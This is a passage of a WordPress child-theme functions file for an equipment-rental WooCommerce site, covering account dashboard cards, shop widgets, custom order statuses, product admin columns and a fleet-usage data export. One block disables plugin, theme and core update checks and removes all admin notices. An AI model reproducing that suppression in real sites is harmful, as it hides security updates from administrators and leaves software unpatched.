            <a href="<?php echo esc_url(home_url('/my-account/quotation')); ?>" target="_blank">
				<div class="icon-circle">
					<img src="/wp-content/uploads/2025/09/quotation.png" alt="quotation" />
				</div>
                <div class="card-content">
                    <h5>Quotation</h5>
                    <h3><?php echo esc_html($quotation_count); ?></h3>
                </div>
            </a>
        </div>
        <?php endif; ?>
        <?php if (!$is_operator): ?>
        <div class="card">
            <a href="<?php echo esc_url(home_url('/my-account/my-agreements')); ?>" target="_blank">
				<div class="icon-circle">
					<img src="/wp-content/uploads/2025/09/agreement.png" alt="agreement" />
				</div>
                <div class="card-content">
                    <h5>Agreement</h5>
                    <h3><?php echo esc_html($agreement_count); ?></h3>
                </div>
            </a>
        </div>
        <?php endif; ?>

        <?php if (!$is_operator): ?>
        <div class="card">
            <a href="<?php echo esc_url(home_url('/my-account/contracts/')); ?>" target="_blank">
				<div class="icon-circle">
					<img src="/wp-content/uploads/2025/09/contract.png" alt="contract" />
				</div>
                <div class="card-content">
                    <h5>Rental Contracts</h5>
                    <h3><?php echo esc_html($order_count); ?></h3>
                </div>
            </a>
        </div>
        <?php endif; ?>
    </div>
</div>
<?php
	return ob_get_clean();
}

add_shortcode('data_cards', 'my_account_data_cards');


// Disable all plugin update notifications
add_filter('site_transient_update_plugins', '__return_null');

// Hide the update notifications from the admin dashboard
function remove_core_updates()
{
	global $wp_version;
	return (object) array(
		'last_checked' => time(),
		'version_checked' => $wp_version,
	);
}
add_filter('pre_site_transient_update_core', 'remove_core_updates');
add_filter('pre_site_transient_update_plugins', 'remove_core_updates');
add_filter('pre_site_transient_update_themes', 'remove_core_updates');

// Disable specific update nag
add_action('admin_menu', 'wpse200296_remove_update_nag');
function wpse200296_remove_update_nag()
{
	remove_action('admin_notices', 'update_nag', 3);
}
// Remove all admin notices
function disable_all_admin_notices()
{
	global $wp_filter;
	if (is_admin()) {
		if (isset($wp_filter['admin_notices'])) {
			unset($wp_filter['admin_notices']);
		}
		if (isset($wp_filter['all_admin_notices'])) {
			unset($wp_filter['all_admin_notices']);
		}
	}
}
add_action('admin_init', 'disable_all_admin_notices');




// Widgets for shop page
function hello_elementor_child_widgets_init()
{
	register_sidebar(array(
		'name' => 'Shop Sidebar Widget Area',
		'id' => 'shop-sidebar',
		'before_widget' => '<div class="widget %2$s">',
		'after_widget' => '</div>',
		'before_title' => '<h2 class="widget-title">',
		'after_title' => '</h2>',
	));

	// New widget area
	register_sidebar(array(
		'name' => 'Shop Footer Widget Area',
		'id' => 'shop-footer',
		'before_widget' => '<div class="widget %2$s">',
		'after_widget' => '</div>',
		'before_title' => '<h2 class="widget-title">',
		'after_title' => '</h2>',
	));
}
add_action('widgets_init', 'hello_elementor_child_widgets_init');

// Shortcode for sidebar widgets
function shop_sidebar_widgets_shortcode()
{
	ob_start(); // Start output buffering
	if (is_active_sidebar('shop-sidebar')) {
		dynamic_sidebar('shop-sidebar');
	}
	return ob_get_clean(); // Return the buffered content
}
add_shortcode('shop_sidebar_widgets', 'shop_sidebar_widgets_shortcode');

// Shortcode for shop footer widgets
function shop_footer_widgets_shortcode()
{
	ob_start(); // Start output buffering
	if (is_active_sidebar('shop-footer')) {
		dynamic_sidebar('shop-footer');
	}
	return ob_get_clean(); // Return the buffered content
}
add_shortcode('shop_footer_widgets', 'shop_footer_widgets_shortcode');

// Shortcode for custom category filter
function shop_category_filter_shortcode()
{
	ob_start(); // Start output buffering
	$args = array(
		'taxonomy' => 'product_cat',
		'orderby' => 'name',
		'show_count' => 0,
		'pad_counts' => 0,
		'hierarchical' => 1,
		'title_li' => '',
		'hide_empty' => 0
	);

	$categories = get_categories($args);
	echo '<h3 style="font-size: 20px;"> Categories </h3> <ul class="product-categories-cs">';
	foreach ($categories as $category) {
		$classes = 'cat-list'; // Base class
		if (is_product_category() && get_queried_object_id() == $category->term_id) {
			$classes .= ' active-category'; // Add active class if it's the current category
		}
		echo '<li class="' . esc_attr($classes) . '"><a href="' . esc_url(get_term_link($category)) . '">' . esc_html($category->name) . '</a></li>';
	}
	echo '</ul>';

	return ob_get_clean(); // Return the buffered content
}
add_shortcode('shop_category_filter', 'shop_category_filter_shortcode');




//  to get the last rfq of the logged-in user
function get_last_quote_of_user()
{
	if (is_user_logged_in()) {
		global $wpdb;
		$user_id = get_current_user_id();
		$table_name = $wpdb->prefix . 'request_quote';

		// Fetch the last quote of the logged-in user
		$quote = $wpdb->get_row(
			$wpdb->prepare(
				"SELECT * FROM $table_name WHERE user_id = %d ORDER BY requested_on DESC LIMIT 1",
				$user_id
			)
		);

		return $quote;
	} else {
		return null;
	}
}

function get_last_lead_of_user()
{
	if (is_user_logged_in()) {
		global $wpdb;
		$user_id = get_current_user_id();
		$table_name = $wpdb->prefix . 'leads';

		// Fetch the last lead of the logged-in user
		$lead = $wpdb->get_row(
			$wpdb->prepare(
				"SELECT * FROM $table_name WHERE user_id = %d ORDER BY lead_created_on DESC LIMIT 1",
				$user_id
			)
		);

		return $lead;
	} else {
		return null;
	}
}

// function display_latest_activity_in_dashboard()
// {
// 	$last_quote = get_last_quote_of_user();
// 	$last_lead = get_last_lead_of_user();

// 	$latest_activity = null;
// 	$activity_title = '';

// 	if ($last_quote && $last_lead) {
// 		if ($last_quote->requested_on > $last_lead->lead_created_on) {
// 			$latest_activity = $last_quote;
// 			$latest_activity->type = 'quote';
// 			$activity_title = 'Your Recent RFQ';
// 		} else {
// 			$latest_activity = $last_lead;
// 			$latest_activity->type = 'lead';
// 			$activity_title = 'Your Recent Enquiry';
// 		}
// 	} elseif ($last_quote) {
// 		$latest_activity = $last_quote;
// 		$latest_activity->type = 'quote';
// 		$activity_title = 'Your Recent RFQ';
// 	} elseif ($last_lead) {
// 		$latest_activity = $last_lead;
// 		$latest_activity->type = 'lead';
// 		$activity_title = 'Your Recent Enquiry';
// 	}

// 	if ($latest_activity) {
// 		echo '<div class="latest-activity-container">';
// 		echo '<h5 class="latest-activity-title">' . esc_html($activity_title) . '</h5>';
// 		echo '<div class="latest-activity-content">';
// 		echo '<div class="latest-activity-details">';

// 		if ($latest_activity->type == 'quote') {
// 			echo '<p class="latest-activity-item"><b>Product Name:</b> ' . esc_html($latest_activity->product_name) . '</p>';
// 			$date = date('d-m-y', strtotime($latest_activity->requested_on));
// 			echo '<p class="latest-activity-item"><b>Date Created:</b> ' . esc_html($date) . '</p>';


// 			$view_all_url = esc_url(home_url('/my-account/rfq'));
// 		} else {
// 			echo '<p class="latest-activity-item"><b>Lead Name:</b> ' . esc_html($latest_activity->product_name) . '</p>';
// 			$date_enquiry = date('d-m-y', strtotime($latest_activity->lead_created_on));
// 			echo '<p class="latest-activity-item"><b>Date Created:</b> ' . esc_html($date_enquiry) . '</p>';

// 			$view_all_url = esc_url(home_url('/my-account/enquiry'));
// 		}

// 		echo '</div>';
// 		echo '<a href="' . $view_all_url . '" ><Button class="view-all-my-account">View All</Button></a>';
// 		echo '</div>';
// 		echo '</div>';
// 	}
// }

function display_latest_activity_in_dashboard()
{
    $last_order = wc_get_orders([
        'limit' => 1,
        'customer' => get_current_user_id(),
        'orderby' => 'date',
        'order' => 'DESC',
    ]);

    $last_lead = get_last_lead_of_user();

    $latest_activity = null;
    $activity_title = '';

    if (!empty($last_order) && $last_lead) {
        $order = $last_order[0];
        if ($order->get_date_created()->getTimestamp() > strtotime($last_lead->lead_created_on)) {
            $latest_activity = $order;
            $latest_activity->type = 'order';
            $activity_title = 'Your Recent Order';
        } else {
            $latest_activity = $last_lead;
            $latest_activity->type = 'lead';
            $activity_title = 'Your Recent Enquiry';
        }
    } elseif (!empty($last_order)) {
        $latest_activity = $last_order[0];
        $latest_activity->type = 'order';
        $activity_title = 'Your Recent Order';
    } elseif ($last_lead) {
        $latest_activity = $last_lead;
        $latest_activity->type = 'lead';
        $activity_title = 'Your Recent Enquiry';
    }

    if ($latest_activity) {
        echo '<div class="latest-activity-container">';
        echo '<h5 class="latest-activity-title">' . esc_html($activity_title) . '</h5>';
        echo '<div class="latest-activity-content">';
        echo '<div class="latest-activity-details">';

        if ($latest_activity->type == 'order') {
            $items = $latest_activity->get_items();
            $first_item = reset($items);
            $product_name = $first_item ? $first_item->get_name() : 'N/A';

            echo '<p class="latest-activity-item"><b>Product Name:</b> ' . esc_html($product_name) . '</p>';
            $date = $latest_activity->get_date_created()->date('d-m-y');
            echo '<p class="latest-activity-item"><b>Date Created:</b> ' . esc_html($date) . '</p>';

            $view_all_url = esc_url(wc_get_account_endpoint_url('orders'));
        } else {
            echo '<p class="latest-activity-item"><b>Lead Name:</b> ' . esc_html($latest_activity->product_name) . '</p>';
            $date_enquiry = date('d-m-y', strtotime($latest_activity->lead_created_on));
            echo '<p class="latest-activity-item"><b>Date Created:</b> ' . esc_html($date_enquiry) . '</p>';

            $view_all_url = esc_url(home_url('/my-account/enquiry'));
        }

        echo '</div>';
        echo '<a href="' . $view_all_url . '"><button class="view-all-my-account">View All</button></a>';
        echo '</div>';
        echo '</div>';
    }
}

// Add content to the WooCommerce "My Account" dashboard
add_action('woocommerce_account_dashboard', 'display_latest_activity_in_dashboard');

// Non loggedin user see redirect button 

add_action('woocommerce_single_product_summary', 'show_login_button_for_guests', 35);

// function show_login_button_for_guests() {
//     if (!is_user_logged_in()) {
//         $account_url = 'https://gmmco.devitrosys.com/my-account/';
//         echo '<a href="' . esc_url($account_url) . '" class="button non-logged-in-rfq" style="margin-left:10px;">Request for Quote&nbsp; <i class="icon icon-mail"></i></a>';
//     }
// }

function show_login_button_for_guests()
{
	if (!is_user_logged_in()) {
		global $product; // Access the current product object
		if (!has_term('buy-used-equipment-to-buy', 'product_cat', $product->get_id())) {
			// Get the current product URL
			$current_url = get_permalink( $product->get_id() );
			// My Account URL with redirect_to parameter
			$account_url = wc_get_page_permalink( 'myaccount' );
			$login_url = add_query_arg( 'redirect_to', urlencode( $current_url ), $account_url );
			echo '<a href="' . esc_url( $login_url ) . '" class="button non-logged-in-rfq mt-2" style="margin-left:10px;">Rent Now</a>';
			echo '<a href="' . esc_url( $login_url ) . '" class="button non-logged-in-custom-rfq mt-2" style="margin-left:10px;">Request for Quote</a>';
		}
	}
}

// Login dashboard customization-aseema
// Add "Sign In" text above login form
function custom_login_form_above()
{
	echo '<div class="sign-in-admin" style="top: 0px !important;
    position: absolute !important; color: red;font-size: 20px;"><h4 style="line-height:1;margin-top:20px;">Sign In</h4><br><br></div>';
}
add_action('login_form', 'custom_login_form_above');


// add two more items finance and logsheet -- Aseema 30-06-24

function add_finance_my_account_endpoint()
{
	add_rewrite_endpoint('finance', EP_ROOT | EP_PAGES);
}
add_action('init', 'add_finance_my_account_endpoint');

// Add the new item to the My Account menu
function add_finance_link_my_account($items)
{
	$items['finance'] = 'Payments';
	return $items;
}
add_filter('woocommerce_account_menu_items', 'add_finance_link_my_account');

// Content for the new menu item
function finance_my_account_content()
{
	// Ensure the user is logged in
	if (!is_user_logged_in()) {
		echo '<p>You need to be logged in to view this information.</p>';
		return;
	}

	// Get the current logged-in user ID
	$user_id = get_current_user_id();

	// Retrieve WooCommerce orders for the current user
	$customer_orders = wc_get_orders(array(
		'customer_id' => $user_id,
		'status' => array('sdp', 'work_order', 'completed', 'processing', 'pending', 'opassigned', 'equipmentassigned'),
		'orderby' => 'date',
		'order' => 'DESC',
	));

	// Check if the user has any orders
	if (empty($customer_orders)) {
		echo '<p>No financial data found for your account.</p>';
		return;
	}

	// Render the table
	echo '<table id="financeTable" border="1" style="width: 100%; border-collapse: collapse;" class="shop_table shop_table_responsive my_account_orders">';
	echo '<thead>';
	echo '<tr>';
	echo '<th class="woocommerce-orders-table__header">Sr. No</th>';
	echo '<th class="woocommerce-orders-table__header">Order ID</th>';
	echo '<th class="woocommerce-orders-table__header">Payment Amount</th>';
	echo '<th class="woocommerce-orders-table__header">Payment Date</th>';
	echo '<th class="woocommerce-orders-table__header">Remarks</th>';
	echo '</tr>';
	echo '</thead>';
	echo '<tbody>';

	// Iterate through orders and populate rows
	foreach ($customer_orders as $index => $order) {
		$row_class = ($index % 2 == 0) ? 'even-row' : 'odd-row';

		// Retrieve order details
		$order_id = $order->get_id();
		$payment_status = wc_get_order_status_name($order->get_status());
		$remarks = 'Transaction ID #' . $order->get_transaction_id(); // Replace as needed
		$rental_amount = $order->get_meta('rental_amount');
		// Fetch and format payment_date
		$payment_date_raw = $order->get_meta('payment_date');
		$payment_date = $payment_date_raw;

		// Parse and reformat the date (if it's valid)
		$date_obj = DateTime::createFromFormat('d-m-y', $payment_date_raw) ?: DateTime::createFromFormat('Y-m-d', $payment_date_raw);
		$payment_date = $date_obj ? $date_obj->format('d-m-y') : $payment_date;


		// Strip any HTML and format as plain text if necessary
		$formatted_rental_amount = $rental_amount ? number_format((float) $rental_amount, 2) : 'N/A';

		// Retrieve the doc_reference_num
		$doc_reference_num = $order->get_meta('doc_reference_num');
		$remarks = "The order status is <span style='color: green;'>{$payment_status}</span>" .
			(!empty($doc_reference_num) ? " with <span style='color: green;'>{$doc_reference_num}</span>" : '');

		echo '<style>
            .shop_table td {
                color: black;
            }
        </style>';

		echo '<tr class="' . esc_attr($row_class) . '">';
		echo '<td>' . esc_html($index + 1) . '</td>';
		echo '<td>' . esc_html($order_id) . '</td>';
		echo '<td>' . esc_html($formatted_rental_amount) . '</td>';
		echo '<td>' . esc_html($payment_date) . '</td>';
		echo '<td>' . wp_kses_post($remarks) . '</td>';
		echo '</tr>';
	}

	echo '</tbody>';
	echo '</table>';

	// Add some basic CSS styles
	echo '<style>
        .even-row { background-color: #fff !important; }
        .odd-row { background-color: #ffbd2b30 !important; }
    </style>';
}

add_action('woocommerce_account_finance_endpoint', 'finance_my_account_content');

// hide menu for opertor myaccount page- Aseema
function hide_finance_menu_for_operator()
{
	if (current_user_can('operator')) {
		// Ensure jQuery is enqueued
		wp_enqueue_script('jquery');

		// Add inline script to hide Finance menu item for operator role
		$script = "
            jQuery(document).ready(function($) {
                $('.woocommerce-MyAccount-navigation-link--finance').hide();
                $('.woocommerce-MyAccount-navigation-link--logsheet').hide();
                $('.woocommerce-MyAccount-navigation-link--orders').hide();
                $('.woocommerce-MyAccount-navigation-link--edit-account').hide();
            });
        ";

		// Add the inline script
		wp_add_inline_script('jquery', $script);
	}
	wp_enqueue_script('datatables-js', 'https://cdn.datatables.net/1.13.6/js/jquery.dataTables.min.js', array('jquery'), null, true);
    wp_enqueue_style('datatables-css', 'https://cdn.datatables.net/1.13.6/css/jquery.dataTables.min.css');
}
add_action('wp_enqueue_scripts', 'hide_finance_menu_for_operator');

// hide admin-bar for operor
add_action('after_setup_theme', 'hide_admin_bar_for_operator');

function hide_admin_bar_for_operator()
{
	if (current_user_can('operator')) {
		add_filter('show_admin_bar', '__return_false');
	}
}

// Add the Purpose Of Listing field to the general product data section --bhaskar d-13-08-24
add_action('woocommerce_product_options_general_product_data', 'add_purpose_of_listing_field');

function add_purpose_of_listing_field()
{
	global $post;

	// Get the current value of the custom field
	$purpose_of_listing = get_post_meta($post->ID, 'purpose_of_listing', true);
	if (!$purpose_of_listing) {
		$purpose_of_listing = 'Renting'; // Default value
	}

	echo '<div class="options_group">';

	// Add a title and radio buttons inline with CSS for alignment
	echo '<p class="form-field">
    <label style="margin-right: 10px;">Purpose Of Listing:</label>  <br>
    <label style="margin-right: 100px;"><input type="radio" name="purpose_of_listing" value="Sales" ' . checked('Sales', $purpose_of_listing, false) . ' /> Sales</label>  
    <label style="margin-right: 200px;"><input type="radio" name="purpose_of_listing" value="Renting" ' . checked('Renting', $purpose_of_listing, false) . ' /> Renting</label>
    <label style="margin-right: 300px;"><input type="radio" name="purpose_of_listing" value="Display" ' . checked('Display', $purpose_of_listing, false) . ' /> Display</label>
    ';
	echo '</p>';
	echo '</div>';
}

// Save the custom field value
add_action('woocommerce_process_product_meta', 'save_purpose_of_listing_field');

function save_purpose_of_listing_field($post_id)
{
	if (isset($_POST['purpose_of_listing'])) {
		update_post_meta($post_id, 'purpose_of_listing', sanitize_text_field($_POST['purpose_of_listing']));
	} else {
		$purpose_of_listing = 'Renting';
		// Set the default value if not set
		update_post_meta($post_id, 'purpose_of_listing', $purpose_of_listing);
	}
}

// Filter the products by the selected purpose_of_listing value in Products Page
add_filter('request', 'filter_products_query_by_purpose_of_listing');

function filter_products_query_by_purpose_of_listing($query_vars)
{
	global $typenow;

	if ($typenow == 'product' && isset($_GET['purpose_of_listing']) && !empty($_GET['purpose_of_listing'])) {
		$query_vars['meta_query'] = array(
			array(
				'key' => 'purpose_of_listing',
				'value' => sanitize_text_field($_GET['purpose_of_listing']),
				'compare' => '='
			)
		);
	}

	return $query_vars;
}

// Add a new column to the products list table
add_filter('manage_edit-product_columns', 'add_purpose_of_listing_product_column');
function add_purpose_of_listing_product_column($columns)
{
	$columns['purpose_of_listing'] = __('Purpose', 'woocommerce');
	return $columns;
}

// Populate the new column with data
add_action('manage_product_posts_custom_column', 'populate_purpose_of_listing_column', 10, 2);
function populate_purpose_of_listing_column($column, $post_id)
{
	if ($column == 'purpose_of_listing') {
		$purpose_of_listing = get_post_meta($post_id, 'purpose_of_listing', true);
		echo esc_html($purpose_of_listing);
	}
}
//--end--
// added logo for admin dashboard
function add_custom_admin_bar_image($wp_admin_bar)
{
	// Remove the site name from the admin bar
	$wp_admin_bar->remove_node('site-name');

	// URL of the image, using home_url() to make it dynamic
	$image_url = home_url('/wp-content/uploads/2024/06/gmmco-cat-rental-logo.png');

	// URL of the homepage
	$homepage_url = home_url();

	// Adding the image to the admin bar
	$args = array(
		'id' => 'custom-admin-bar-image',
		'title' => '<img src="' . esc_url($image_url) . '" style="height: 40px; width: 134px; vertical-align: middle;" alt="Custom Image">',
		'meta' => array(
			'class' => 'custom-admin-bar-image-class'
		),
		'parent' => false // This ensures it is added to the top-level
	);

	$wp_admin_bar->add_node($args);
}
add_action('admin_bar_menu', 'add_custom_admin_bar_image', 999);

// hide import and export button for other role except admin and central admin

function restrict_product_import_export_buttons_visibility()
{
	// Check if the current user has the role 'administrator' or 'central_administrator'
	if (current_user_can('administrator') || current_user_can('central_administrator')) {
		return; // Do nothing, allow the buttons to be visible
	}

	// Hide the WooCommerce import and export buttons for other roles
	add_action('admin_footer', 'hide_import_export_buttons');
}

function hide_import_export_buttons()
{
	echo '<style>
        a.page-title-action[href*="import"], /* Hide import button */
        a.page-title-action[href*="export"] { /* Hide export button */
            display: none !important;
        }
    </style>';
}

add_action('admin_menu', 'restrict_product_import_export_buttons_visibility');

// highlight active menu
function highlight_current_menu_item()
{
	// Get the current URL path
	$current_url_path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

	// Determine which menu item to highlight based on the URL
	$menu_id = '';
	if ($current_url_path === '/about-us/') {
		$menu_id = 'about-menu';
	} elseif ($current_url_path === '/rent/') {
		$menu_id = 'rent-menu';
	} elseif ($current_url_path === '/buy-used/') {
		$menu_id = 'buy-menu';
	} elseif ($current_url_path === '/sell-your-equipment/') {
		$menu_id = 'sell-menu';
	}

	// If a menu item needs to be highlighted, output the corresponding style
	if ($menu_id) {
		echo '<style>
            #' . $menu_id . ' a {
                color: #FFBD2B !important;
            }
        </style>';
	}
}
add_action('wp_head', 'highlight_current_menu_item');


// add horizontal scroller
// Enqueue custom admin CSS for horizontal scrolling
add_action('admin_enqueue_scripts', 'add_custom_admin_styles');
function add_custom_admin_styles()
{
	echo '
    <style>
        /* Make the product table horizontally scrollable */
        .wp-list-table.widefat.fixed.striped.table-view-list.posts {
            display: block !important;
            overflow-x: auto !important;
            white-space: nowrap !important;
        }

        /* Ensure each table cell maintains its width */
        .wp-list-table.widefat.fixed.striped.products th,
        .wp-list-table.widefat.fixed.striped.products td {
            min-width: 150px;
        }
    </style>';
}
// Add custom columns to product table
add_filter('manage_edit-product_columns', 'add_custom_product_columns');
function add_custom_product_columns($columns)
{
	$columns['equipment_number'] = __('Equipment Number');
	$columns['equipment_serial_number'] = __('Equipment Serial No');
	$columns['registration_number'] = __('Reg No.');
	$columns['_product_region'] = __('Product Region');
	$columns['status'] = __('Product Status');
	$columns['model_number'] = __('Model Number');
	$columns['st3st5_field'] = __('ST3/ST5');
	$columns['acquisition_cost'] = __('Acquisition Cost (₹)');
	$columns['acquisition_date'] = __('Acquisition Date');
	$columns['pa_brand'] = __('Brand');
	return $columns;
}


// Populate custom column with meta data

add_action('manage_product_posts_custom_column', 'display_custom_product_columns', 10, 2);
function display_custom_product_columns($column, $post_id)
{
	if ('equipment_number' === $column) {
		$equipment_number = get_post_meta($post_id, 'equipment_number', true);
		echo esc_html($equipment_number);
	}

	if ('equipment_serial_number' === $column) {
		$equipment_serial_number = get_post_meta($post_id, 'equipment_serial_number', true);
		echo esc_html($equipment_serial_number);
	}
	if ('registration_number' === $column) { // Handle the new column
		$registration_number = get_post_meta($post_id, 'registration_number', true);
		echo esc_html($registration_number);
	}
	if ('_product_region' === $column) { // Handle the new column
		$product_region = get_post_meta($post_id, '_product_region', true);
		echo esc_html($product_region);
	}
	if ('status' === $column) { // Handle the new column
		$product_status = get_post_meta($post_id, 'status', true);
		echo esc_html($product_status);
	}
	if ('model_number' === $column) { // Handle the new column
		$model_number = get_post_meta($post_id, 'model_number', true);
		echo esc_html($model_number);
	}
	if ('st3st5_field' === $column) { // Handle the new column
		$ST3_ST5 = get_post_meta($post_id, 'st3st5_field', true);
		echo esc_html($ST3_ST5);
	}
	if ('acquisition_cost' === $column) { // Handle the new column
		$acquisition_cost = get_post_meta($post_id, 'acquisition_cost', true);
		echo esc_html($acquisition_cost);
	}
	if ('acquisition_date' === $column) { // Handle the new column
		$acquisition_date = get_post_meta($post_id, 'acquisition_date', true);
		// echo esc_html($acquisition_date);
		// echo esc_html(date('d/m/Y', strtotime($acquisition_date)));
		$date = DateTime::createFromFormat('Ymd', $acquisition_date);
		// Format the date as dd/mm/yyyy
		echo esc_html($date ? $date->format('d/m/Y') : '');


	}
}
add_action('manage_product_posts_custom_column', 'display_brand_column_in_product_table', 10, 2);
function display_brand_column_in_product_table($column, $post_id)
{
	if ('pa_brand' === $column) {
		$terms = get_the_terms($post_id, 'pa_brand');
		if ($terms && !is_wp_error($terms)) {
			$brand_names = wp_list_pluck($terms, 'name');
			echo esc_html(join(', ', $brand_names)); // Display comma-separated list of brand names
		} else {
			echo __('No Brand', 'your-text-domain'); // If no brand is found
		}
	}
}
// For Aseema's Work Order Plugin
function register_work_order_status()
{
	register_post_status('wc-work_order', array(
		'label' => 'Work Order Created',
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Work Order <span class="count">(%s)</span>', 'Work Order Created <span class="count">(%s)</span>')
	));
}
add_action('init', 'register_work_order_status');

// Add "Work Order" status to WooCommerce order statuses

function add_work_order_status($order_statuses)
{
	$order_statuses['wc-work_order'] = _x('Work Order Created', 'Order status', 'woocommerce');
	return $order_statuses;
}
add_filter('wc_order_statuses', 'add_work_order_status');

// Adding on 02-10-2024 at 12:39  - Aseema 

function register_work_order_status_for_renewal()
{
	register_post_status('wc-renewal_status', array(
		'label' => 'Contract Renewal Requested',
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Contract Renewal <span class="count">(%s)</span>', 'Contract Renewal Requested <span class="count">(%s)</span>')
	));
}
add_action('init', 'register_work_order_status_for_renewal');

// Add "Work Order" status to WooCommerce order statuses
add_filter('wc_order_statuses', 'add_renewal_status');
function add_renewal_status($order_statuses)
{
	$order_statuses['wc-renewal_status'] = _x('Contract Renewal Requested', 'Order status', 'woocommerce');
	return $order_statuses;
}

// Register new custom order status
function register_contract_renewed_order_status()
{
	register_post_status('wc-contract-renewed', array(
		'label' => _x('Contract Renewed', 'Order status', 'your-textdomain'),
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Contract Renewed (%s)', 'Contract Renewed (%s)', 'your-textdomain'),
	));
}
add_action('init', 'register_contract_renewed_order_status');

// Add custom status to WooCommerce order statuses
function add_contract_renewed_to_order_statuses($order_statuses)
{
	$new_statuses = array();

	// Insert the new status after a specific point, here after 'completed'
	foreach ($order_statuses as $key => $status) {
		$new_statuses[$key] = $status;
		if ('wc-completed' === $key) {
			$new_statuses['wc-contract-renewed'] = _x('Contract Renewed', 'Order status', 'your-textdomain');
		}
	}

	return $new_statuses;
}
add_filter('wc_order_statuses', 'add_contract_renewed_to_order_statuses');

// For Business Dashboard

add_action('admin_menu', 'my_custom_menu');

function my_custom_menu()
{
	// Add a menu item to the WordPress sidebar
	add_menu_page(
		'Send Data', // Page title
		'Send Data', // Menu title
		'manage_options', // Capability required
		'send-data', // Menu slug
		'my_send_data_page', // Function to display the page content
		'dashicons-upload', // Icon (you can change this)
		6 // Position
	);
}

function my_send_data_page()
{
?>
<div class="wrap">
    <h1>Send Data to Fleet Usage</h1>
    <form method="post" action="">
        <?php
	// Add a nonce field for security
	wp_nonce_field('send_data_to_fleet_nonce_action', 'send_data_to_fleet_nonce');
		?>
        <input type="submit" name="send_data_button" class="button button-primary" value="Send Data">
    </form>
    <?php
	// Display success or error message after the form submission
	if (isset($_POST['send_data_button'])) {
		my_handle_data_submission();
	}
	?>
</div>
<?php
}


function my_handle_data_submission()
{
	global $wpdb;

	// Verify the nonce for security
	if (!isset($_POST['send_data_to_fleet_nonce']) || !wp_verify_nonce($_POST['send_data_to_fleet_nonce'], 'send_data_to_fleet_nonce_action')) {
		echo '<div class="notice notice-error"><p>Nonce verification failed.</p></div>';
		return;
	}

	// Define the cutoff date (April 1, 2024)
	$cutoff_date = '2024-04-01';

	// Query to get all rows from wp_archive_contract_data where contract_end_date is equal to or greater than the cutoff date
	$results = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT equipment_model_no, hr_of_operation, contract_start_date, contract_end_date, contract_number
            FROM wp_archive_contract_data
            WHERE contract_end_date >= %s",
			$cutoff_date
		)
	);

	if ($results) {
		foreach ($results as $row) {
			// Prepare the data for insertion into wp_fleet_usage
			$model_no = $row->equipment_model_no;
			$total_used_hrs = $row->hr_of_operation; // This will be saved under hr_of_operation
			$contract_start_date = $row->contract_start_date;
			$contract_end_date = $row->contract_end_date;
			$contract_number = $row->contract_number; // Get the contract_number

			// Calculate the difference in days between contract_end_date and contract_start_date
			$start_date = new DateTime($contract_start_date);
			$end_date = new DateTime($contract_end_date);
			$interval = $start_date->diff($end_date);
			$for_days = $interval->days;

			// Fetch the product category name dynamically based on the model number
			$category_name = $wpdb->get_var(
				$wpdb->prepare(
					"SELECT COALESCE(pt.name, t.name) AS category_name
                     FROM {$wpdb->posts} p
                     INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id
                     INNER JOIN {$wpdb->term_relationships} tr ON p.ID = tr.object_id
                     INNER JOIN {$wpdb->term_taxonomy} tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
                     INNER JOIN {$wpdb->terms} t ON tt.term_id = t.term_id
                     LEFT JOIN {$wpdb->term_taxonomy} ptt ON tt.parent = ptt.term_id
                     LEFT JOIN {$wpdb->terms} pt ON ptt.term_id = pt.term_id
                     WHERE pm.meta_key = 'model_number'
                       AND pm.meta_value = %s
                       AND p.post_type = 'product'
                       AND p.post_status = 'publish'
                       AND tt.taxonomy = 'product_cat'",
					$model_no
				)
			);

			// Insert into wp_fleet_usage
			$inserted = $wpdb->insert(
				'wp_fleet_usage', // Table name
				array(
					'model_no' => $model_no,
					'hr_of_operation' => $total_used_hrs, // Save hr_of_operation here
					'contract_start_date' => $contract_start_date,
					'contract_end_date' => $contract_end_date,
					'for_days' => $for_days, // The difference in days between start and end date
					'category_name' => $category_name, // Insert the dynamic category name
					'contract_number' => $contract_number,
					// Insert the contract number
				),
				array('%s', '%d', '%s', '%s', '%d', '%s', '%s') // Data types: string, integer, string, string, integer, string, string
			);

			if ($inserted) {
				// Get the last inserted ID
				$fleet_usage_id = $wpdb->insert_id;

				// Create a clone of the start date for iteration
				$current_date = clone $start_date;

				// Loop through each month between the start and end date
				while ($current_date <= $end_date) {
					// Get the number of days in the current month
					$days_in_month = cal_days_in_month(CAL_GREGORIAN, $current_date->format('n'), $current_date->format('Y'));

					// Determine how many days to consider for this month
					if ($current_date->format('Y-m') == $start_date->format('Y-m')) {
						// If it's the start month, count only the remaining days in the month
						$days_in_this_month = $days_in_month - $start_date->format('d') + 1;
						// Calculate usage for the start month
						$usage_for_this_month = ($total_used_hrs / ($start_date->diff($end_date)->days + 1)) * $days_in_this_month;
					} elseif ($current_date->format('Y-m') == $end_date->format('Y-m')) {
						// If it's the end month, count only up to the end date
						$days_in_this_month = $end_date->format('d');
						// Calculate usage for the end month
						$usage_for_this_month = ($total_used_hrs / ($start_date->diff($end_date)->days + 1)) * $days_in_this_month;
					} else {
						// If it's a full month in between, set the usage to hr_of_operation
						$days_in_this_month = $days_in_month; // Full month
						$usage_for_this_month = $total_used_hrs; // Use hr_of_operation for full months
					}

					// Prepare month name and usage value
					$month_name = $current_date->format('F Y');
					$usage_value = round($usage_for_this_month); // Round to the nearest integer

					// Insert into wp_fleet_usagemeta as individual entries
					$wpdb->insert(
						'wp_fleet_usagemeta', // Table name
						array(
							'fleet_usage_id' => $fleet_usage_id, // Use the last inserted ID
							'meta_key' => $month_name, // Store month name
							'meta_value' => $usage_value, // Store the usage value
							'category_name' => $category_name, // Store category name
							'model_no' => $model_no // Store model number
						),
						array('%d', '%s', '%d', '%s', '%s') // Data types: integer, string, integer, string, string
					);

					// Move to the next month
					$current_date->modify('first day of next month');
				}
			}
		}

		// Display success message
